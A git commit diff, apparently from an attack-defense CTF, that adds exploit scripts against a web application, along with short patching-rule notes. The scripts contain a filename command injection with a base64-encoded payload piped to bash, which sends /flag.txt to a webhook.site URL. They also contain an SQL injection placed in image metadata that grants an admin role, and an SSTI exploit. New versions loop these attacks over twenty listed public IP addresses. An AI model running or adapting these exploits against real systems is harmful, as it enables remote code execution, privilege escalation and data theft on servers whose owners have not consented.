added patch notes
This commit is contained in:
@@ -0,0 +1,4 @@
|
|||||||
|
### Patching Rule?
|
||||||
|
- dont remove flag.txt/changes its content
|
||||||
|
- ensure image metadata generation still available and ensure exiftool still used
|
||||||
|
- the generated metadata persist in the post must exist
|
||||||
@@ -4,7 +4,7 @@ from pathlib import Path
|
|||||||
import random
|
import random
|
||||||
import string
|
import string
|
||||||
|
|
||||||
HOST = "http://localhost:4400"
|
HOST = "http://54.179.69.160:10000"
|
||||||
REGISTER_URL = HOST + "/register"
|
REGISTER_URL = HOST + "/register"
|
||||||
LOGIN_URL = HOST + "/login"
|
LOGIN_URL = HOST + "/login"
|
||||||
CREATE_URL = HOST + "/create"
|
CREATE_URL = HOST + "/create"
|
||||||
@@ -19,7 +19,7 @@ def generate_random_string(length=8):
|
|||||||
USERNAME = generate_random_string()
|
USERNAME = generate_random_string()
|
||||||
PASSWORD = generate_random_string()
|
PASSWORD = generate_random_string()
|
||||||
# choose payload variant: either use subshell $() or backticks `...`
|
# choose payload variant: either use subshell $() or backticks `...`
|
||||||
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hMmJlOTU2NS0zZGZhLTRjZmEtODAyYy01NDk4NTI5ZTViMGYnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
|
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
|
||||||
|
|
||||||
# choose which to use:
|
# choose which to use:
|
||||||
filename_payload = filename_payload # or payload_backticks
|
filename_payload = filename_payload # or payload_backticks
|
||||||
@@ -33,6 +33,7 @@ if r.status_code != 200:
|
|||||||
exit(1)
|
exit(1)
|
||||||
else:
|
else:
|
||||||
print(f"Registered user: {USERNAME}")
|
print(f"Registered user: {USERNAME}")
|
||||||
|
print(f"Registered PASSWORD: {PASSWORD}")
|
||||||
|
|
||||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
if r.status_code != 200:
|
if r.status_code != 200:
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ from pathlib import Path
|
|||||||
|
|
||||||
print("SQLi (VULN 2) Exploit")
|
print("SQLi (VULN 2) Exploit")
|
||||||
|
|
||||||
HOST = "http://localhost:4400"
|
HOST = "http://54.179.69.160:10000"
|
||||||
REGISTER_URL = HOST + "/register"
|
REGISTER_URL = HOST + "/register"
|
||||||
LOGIN_URL = HOST + "/login"
|
LOGIN_URL = HOST + "/login"
|
||||||
CREATE_URL = HOST + "/create"
|
CREATE_URL = HOST + "/create"
|
||||||
@@ -46,6 +46,7 @@ if r.status_code != 200:
|
|||||||
exit(1)
|
exit(1)
|
||||||
else:
|
else:
|
||||||
print(f"Registered user: {USERNAME}")
|
print(f"Registered user: {USERNAME}")
|
||||||
|
print(f"Registered PASSWORD: {PASSWORD}")
|
||||||
|
|
||||||
# 3) Login with the new user
|
# 3) Login with the new user
|
||||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
@@ -86,7 +87,7 @@ else:
|
|||||||
# 6) Visit the profile page and search for the flag
|
# 6) Visit the profile page and search for the flag
|
||||||
r = s.get(PROFILE_URL)
|
r = s.get(PROFILE_URL)
|
||||||
print("Profile page status:", r.status_code)
|
print("Profile page status:", r.status_code)
|
||||||
flag_pattern = r"GEMASTIK\{.*?\}"
|
flag_pattern = r"GEMASTIK18\{.*?\}"
|
||||||
flag = re.search(flag_pattern, r.text)
|
flag = re.search(flag_pattern, r.text)
|
||||||
if flag:
|
if flag:
|
||||||
print("Flag found:", flag.group(0))
|
print("Flag found:", flag.group(0))
|
||||||
|
|||||||
@@ -0,0 +1,133 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import requests
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
# List of server IPs to test
|
||||||
|
SERVERS = [
|
||||||
|
"54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226",
|
||||||
|
"52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58",
|
||||||
|
"18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208",
|
||||||
|
"47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157",
|
||||||
|
"13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213"
|
||||||
|
]
|
||||||
|
PORT = "10000"
|
||||||
|
|
||||||
|
# Generate random username and password
|
||||||
|
def generate_random_string(length=8):
|
||||||
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
||||||
|
|
||||||
|
# Command injection payload
|
||||||
|
CMD_PAYLOAD = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
|
||||||
|
|
||||||
|
# SQLi payload
|
||||||
|
SQLI_PAYLOAD = "a'; UPDATE users SET role='admin' WHERE username='{}';--"
|
||||||
|
|
||||||
|
# Local image files
|
||||||
|
CMD_IMAGE = "test.png" # For command injection
|
||||||
|
SQLI_IMAGE = "sqli.png" # For SQLi
|
||||||
|
|
||||||
|
def exploit_server(host):
|
||||||
|
print(f"\nTesting server: {host}")
|
||||||
|
BASE_URL = f"http://{host}:{PORT}"
|
||||||
|
REGISTER_URL = BASE_URL + "/register"
|
||||||
|
LOGIN_URL = BASE_URL + "/login"
|
||||||
|
CREATE_URL = BASE_URL + "/create"
|
||||||
|
HOME_URL = BASE_URL + "/"
|
||||||
|
PROFILE_URL = BASE_URL + "/profile"
|
||||||
|
|
||||||
|
# Generate credentials
|
||||||
|
USERNAME = generate_random_string()
|
||||||
|
PASSWORD = generate_random_string()
|
||||||
|
print(f"Generated credentials: Username={USERNAME}, Password={PASSWORD}")
|
||||||
|
|
||||||
|
s = requests.Session()
|
||||||
|
|
||||||
|
# Step 1: Register a new user
|
||||||
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
|
if r.status_code != 200:
|
||||||
|
print(f"Registration failed on {host}. Status: {r.status_code}")
|
||||||
|
return False
|
||||||
|
print(f"Registered user: {USERNAME}")
|
||||||
|
|
||||||
|
# Step 2: Log in
|
||||||
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
||||||
|
if r.status_code != 200:
|
||||||
|
print(f"Login failed on {host}. Status: {r.status_code}")
|
||||||
|
return False
|
||||||
|
print(f"Logged in. Cookies: {s.cookies.get_dict()}")
|
||||||
|
|
||||||
|
# Step 3: Command injection via filename
|
||||||
|
cmd_img_path = Path(CMD_IMAGE)
|
||||||
|
if not cmd_img_path.exists():
|
||||||
|
print(f"Command injection image {CMD_IMAGE} not found")
|
||||||
|
return False
|
||||||
|
|
||||||
|
with open(cmd_img_path, "rb") as fh:
|
||||||
|
files = {"image": (CMD_PAYLOAD, fh, "image/jpeg")}
|
||||||
|
data = {"title": "Command Injection Payload", "content": "CTF attempt"}
|
||||||
|
r = s.post(CREATE_URL, data=data, files=files)
|
||||||
|
print(f"Command injection upload status on {host}: {r.status_code}")
|
||||||
|
print(f"Upload response: {r.text[:800]}")
|
||||||
|
|
||||||
|
# Step 4: SQL injection via image metadata
|
||||||
|
sqli_img_path = Path(SQLI_IMAGE)
|
||||||
|
if not sqli_img_path.exists():
|
||||||
|
print(f"SQLi image {SQLI_IMAGE} not found")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
subprocess.run([
|
||||||
|
"exiftool",
|
||||||
|
"-overwrite_original",
|
||||||
|
f"-Comment={SQLI_PAYLOAD.format(USERNAME)}",
|
||||||
|
SQLI_IMAGE
|
||||||
|
], check=True)
|
||||||
|
print(f"Modified {SQLI_IMAGE} with SQLi payload")
|
||||||
|
except subprocess.CalledProcessError as e:
|
||||||
|
print(f"Failed to modify {SQLI_IMAGE} with exiftool: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
with open(sqli_img_path, "rb") as fh:
|
||||||
|
files = {"image": (SQLI_IMAGE, fh, "image/png")}
|
||||||
|
data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"}
|
||||||
|
r = s.post(CREATE_URL, data=data, files=files)
|
||||||
|
print(f"SQLi upload status on {host}: {r.status_code}")
|
||||||
|
|
||||||
|
# Step 5: Get home page to find newest post ID
|
||||||
|
r = s.get(HOME_URL)
|
||||||
|
print(f"Home page status on {host}: {r.status_code}")
|
||||||
|
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||||
|
if post_ids:
|
||||||
|
max_id = max(map(int, post_ids))
|
||||||
|
print(f"Newest post ID: {max_id}")
|
||||||
|
else:
|
||||||
|
print(f"No post IDs found on {host}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Step 6: Check profile for flag
|
||||||
|
r = s.get(PROFILE_URL)
|
||||||
|
print(f"Profile page status on {host}: {r.status_code}")
|
||||||
|
flag_pattern = r"GEMASTIK18\{.*?\}"
|
||||||
|
flag = re.search(flag_pattern, r.text)
|
||||||
|
if flag:
|
||||||
|
print(f"Flag found on {host}: {flag.group(0)}")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"Flag not found on {host}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("Starting CTF Exploit")
|
||||||
|
for host in SERVERS:
|
||||||
|
success = exploit_server(host)
|
||||||
|
if success:
|
||||||
|
print(f"Exploit succeeded on {host}")
|
||||||
|
else:
|
||||||
|
print(f"Exploit failed on {host}")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB After Width: | Height: | Size: 1012 KiB |
@@ -0,0 +1,4 @@
|
|||||||
|
### Patching Rule?
|
||||||
|
- dont remove flag.txt/changes its content
|
||||||
|
- ensure image metadata generation still available and ensure exiftool still used
|
||||||
|
- the generated metadata persist in the post must exist
|
||||||
@@ -7,13 +7,13 @@ import requests
|
|||||||
|
|
||||||
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
||||||
|
|
||||||
HOST = "http://localhost:4500"
|
HOST = "http://54.179.69.160:12000"
|
||||||
REGISTER_URL = f"{HOST}/register"
|
REGISTER_URL = f"{HOST}/register"
|
||||||
LOGIN_URL = f"{HOST}/login"
|
LOGIN_URL = f"{HOST}/login"
|
||||||
UPLOAD_URL = f"{HOST}/upload"
|
UPLOAD_URL = f"{HOST}/upload"
|
||||||
HOME_URL = f"{HOST}/"
|
HOME_URL = f"{HOST}/"
|
||||||
|
|
||||||
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
|
TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # detik
|
||||||
|
|
||||||
def rnd(n=8):
|
def rnd(n=8):
|
||||||
alpha = string.ascii_lowercase + string.digits
|
alpha = string.ascii_lowercase + string.digits
|
||||||
@@ -83,7 +83,7 @@ print(f"[+] Newest post: {post_url}")
|
|||||||
# 5) Trigger SSTI dan cari flag
|
# 5) Trigger SSTI dan cari flag
|
||||||
r = s.get(post_url, timeout=TIMEOUT)
|
r = s.get(post_url, timeout=TIMEOUT)
|
||||||
print(f"[i] Post -> {r.status_code}")
|
print(f"[i] Post -> {r.status_code}")
|
||||||
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
|
m = re.search(r"GEMASTIK18\{[^}]*\}", r.text)
|
||||||
if m:
|
if m:
|
||||||
print("[+] Flag:", m.group(0))
|
print("[+] Flag:", m.group(0))
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -0,0 +1,115 @@
|
|||||||
|
import os
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from pathlib import Path
|
||||||
|
import requests
|
||||||
|
|
||||||
|
print("SSTI (Vuln) Exploit — Testing Multiple Hosts")
|
||||||
|
|
||||||
|
# List of IP addresses to test
|
||||||
|
HOSTS = [
|
||||||
|
"54.179.69.160", "47.128.239.219", "18.141.25.211", "13.250.48.226",
|
||||||
|
"52.221.249.62", "52.221.188.80", "13.213.42.191", "54.169.118.58",
|
||||||
|
"18.141.209.30", "54.169.155.68", "3.0.177.253", "13.250.47.208",
|
||||||
|
"47.129.37.150", "3.1.222.146", "13.229.198.100", "54.151.150.157",
|
||||||
|
"13.229.207.1", "18.136.107.63", "52.77.233.125", "18.141.184.213"
|
||||||
|
]
|
||||||
|
|
||||||
|
PORT = "12000"
|
||||||
|
TIMEOUT = float(os.environ.get("TIMEOUT", "5")) # seconds
|
||||||
|
|
||||||
|
def rnd(n=8):
|
||||||
|
alpha = string.ascii_lowercase + string.digits
|
||||||
|
return ''.join(random.choices(alpha, k=n))
|
||||||
|
|
||||||
|
def ok_or_redirect(resp):
|
||||||
|
return 200 <= resp.status_code < 400
|
||||||
|
|
||||||
|
def test_host(host):
|
||||||
|
print(f"\n[+] Testing host: {host}")
|
||||||
|
HOST = f"http://{host}:{PORT}"
|
||||||
|
REGISTER_URL = f"{HOST}/register"
|
||||||
|
LOGIN_URL = f"{HOST}/login"
|
||||||
|
UPLOAD_URL = f"{HOST}/upload"
|
||||||
|
HOME_URL = f"{HOST}/"
|
||||||
|
|
||||||
|
USERNAME = rnd()
|
||||||
|
PASSWORD = rnd()
|
||||||
|
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG with Jinja payload in metadata
|
||||||
|
|
||||||
|
s = requests.Session()
|
||||||
|
s.headers.update({"User-Agent": "ssti-exp/1.0"})
|
||||||
|
|
||||||
|
try:
|
||||||
|
# 1) Register
|
||||||
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||||
|
allow_redirects=True, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
|
||||||
|
if not ok_or_redirect(r):
|
||||||
|
print("[x] Registration failed")
|
||||||
|
return False
|
||||||
|
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
|
||||||
|
|
||||||
|
# 2) Login
|
||||||
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||||
|
allow_redirects=True, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
|
||||||
|
if not ok_or_redirect(r):
|
||||||
|
print("[x] Login failed")
|
||||||
|
return False
|
||||||
|
print("[+] Logged in")
|
||||||
|
|
||||||
|
# 3) Upload image
|
||||||
|
img_path = Path(LOCAL_IMAGE)
|
||||||
|
if not img_path.exists():
|
||||||
|
print(f"[x] Local image not found: {LOCAL_IMAGE}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
with img_path.open("rb") as fh:
|
||||||
|
files = {"image": (img_path.name, fh, "image/png")}
|
||||||
|
data = {"title": "SSTI Exploit"}
|
||||||
|
r = s.post(UPLOAD_URL, data=data, files=files,
|
||||||
|
allow_redirects=True, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
|
||||||
|
if not ok_or_redirect(r):
|
||||||
|
print("[x] Upload failed")
|
||||||
|
return False
|
||||||
|
print("[+] Upload complete")
|
||||||
|
|
||||||
|
# 4) Get latest post ID
|
||||||
|
r = s.get(HOME_URL, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Home -> {r.status_code}")
|
||||||
|
if r.status_code != 200:
|
||||||
|
print("[x] Failed to load home")
|
||||||
|
return False
|
||||||
|
|
||||||
|
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||||
|
if not post_ids:
|
||||||
|
print("[-] No posts found on home.")
|
||||||
|
return False
|
||||||
|
|
||||||
|
pid = max(map(int, post_ids))
|
||||||
|
post_url = f"{HOST}/post/{pid}"
|
||||||
|
print(f"[+] Newest post: {post_url}")
|
||||||
|
|
||||||
|
# 5) Trigger SSTI and find flag
|
||||||
|
r = s.get(post_url, timeout=TIMEOUT)
|
||||||
|
print(f"[i] Post -> {r.status_code}")
|
||||||
|
m = re.search(r"GEMASTIK18\{[^}]*\}", r.text)
|
||||||
|
if m:
|
||||||
|
print(f"[+] Flag found on {host}: {m.group(0)}")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print("[-] Flag not found in response.")
|
||||||
|
print(r.text[:1200])
|
||||||
|
return False
|
||||||
|
|
||||||
|
except requests.exceptions.RequestException as e:
|
||||||
|
print(f"[x] Error testing {host}: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Test all hosts
|
||||||
|
for i, host in enumerate(HOSTS, 1):
|
||||||
|
print(f"\n=== Testing Group {i}: {host} ===")
|
||||||
|
test_host(host)
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB After Width: | Height: | Size: 1012 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB After Width: | Height: | Size: 1012 KiB |
Reference in New Issue
Block a user